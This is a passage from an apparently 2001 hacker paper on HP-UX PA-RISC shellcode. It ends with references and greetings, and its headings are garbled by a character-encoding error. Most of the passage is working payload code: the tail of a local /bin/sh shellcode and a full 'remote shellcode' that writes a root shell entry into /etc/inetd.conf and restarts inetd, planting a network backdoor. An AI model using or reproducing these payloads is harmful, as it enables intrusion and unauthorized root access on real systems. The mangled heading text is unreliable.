/* bl salto,%r1 */ "\x0b\x39\x02\x99" /* salto: xor %r25,%r25,%r25 */ "\x34\x02\x04\xc0" /* ldi 0x260,%r2 */ "\x08\x41\x04\x03" /* sub %r1,%r2,%r3 */ "\x60\x79\x05\x08" /* stb %r25,0x284(%sr0,%r3) */ "\xb4\x7a\x04\xfa" /* addi 0x27D,%r3,%r26 */ "\x0b\x18\x02\x98" /* xor %r24,%r24,%r24 */ "\x20\x20\x08\x01" /* ldil L'0xC0000004,%r1 */ "\xe4\x20\xe0\x08" /* ble R'0xC0000004(%sr7,%r1) */ "\x94\x56\x05\x36" /* subi 0x29b,%r2,%r22 */ "/bin/sh"; --[ 4.2. ¿ø°Ý ½©ÄÚµå /* * HP-UX remote shellcode * * By Zhodiac * * Madrid, 14/05/2001 * */ char shellcode[]= "\xe8\x3f\x1f\xfd" /* bl salto,%r1 */ "\x0b\x39\x02\x99" /* salto: xor %r25,%r25,%r25 */ "\x34\x02\x04\xc0" /* ldi 0x260,%r2 */ "\x08\x41\x04\x03" /* sub %r1,%r2,%r3 */ "\x60\x79\x05\x78" /* stb %r25,0x2BC(%sr0,%r3) */ "\x60\x79\x05\x7e" /* stb %r25,0x2BF(%sr0,%r3) */ "\x68\x79\x05\x62" /* stw %r25,0x2AE(%sr0,%r3) */ "\xb4\x7a\x05\x6A" /* addi 0x2B5,%r3,%r26 */ "\x0f\x5a\x12\x81" /* stw %r26,-16(%sr0,%r26) */ "\x94\x44\x04\xd0" /* subi 0x268,%r2,%r4 */ "\x0b\x44\x06\x04" /* add %r4,%r26,%r4 */ "\x0f\x44\x12\x89" /* stw %r4,-12(%sr0,%r26) */ "\x94\x44\x04\xd6" /* subi 0x26C,%r2,%r4 */ "\x0b\x44\x06\x04" /* add %r4,%r26,%r4 */ "\x0f\x44\x12\x91" /* stw %r4,-8(%sr0,%r26) */ "\xb7\x59\x07\xe1" /* addi -16,%r26,%r25 */ "\x0b\x18\x02\x98" /* xor %r24,%r24,%r24 */ "\x20\x20\x08\x01" /* ldil L'0xC0000004,%r1 */ "\xe4\x20\xe0\x08" /* ble R'0xC0000004(%sr7,%r1) */ "\x94\x56\x05\x36" /* subi 0x29b,%r2,%r22 */ "AAAA" "BBBB" "CCCC" "ZZZZ" "/bin/sh -c echo \"eklogin stream tcp nowait root /bin/sh sh -i\" >> " "/etc/inetd.conf ; /usr/sbin/inetd -c ; "; --[ 5. Âü°í¹®Çå [1] Some PDFs i found at http://www.freelsd.net/~ndubee/ (Great collection :) and http://docs.hp.com/ * PA-RISC 1.1 Architecture and Instruction Set Reference Manual * PA-RISC Architecture and Instruction Set Reference Manual * http://www.devresource.hp.com/partner/rad.10.20.pdf * http://www.devresource.hp.com/partner/rad.11.0.32.pdf [2] PA-RISC 2.0 Architecture Gerry Kane ISBN 0-13-182734-0 [3] Buffer overflow on non-intel platforms (BlackHat 2001 Asia) Fyodor Yarochkin. http://www.notlsd.net/bof/index.html [4] lsd-pl HP-UX shellcodes (You people, are really good! Hope to talk to you in future!) http://lsd-pl.net [5] You can mail me with any doubt you have :) Zhodiac --[ 6.- Àλç - [CrAsH], without her support this document would not exist. :*** - DarkCode for long long time talking about SPARC and PA-RISC archs :) - Fyodor Yarochkin for the few, but great, chats we had about PA-RISC. For the review of this paper. Thx. - El Nahual for having fun in real and net-life ;P I owe you a mail. - 0xdeadcafe mail-list for great discussion topics. Madrid 11/10/2001 |=[ EOF ]=---------------------------------------------------------------=|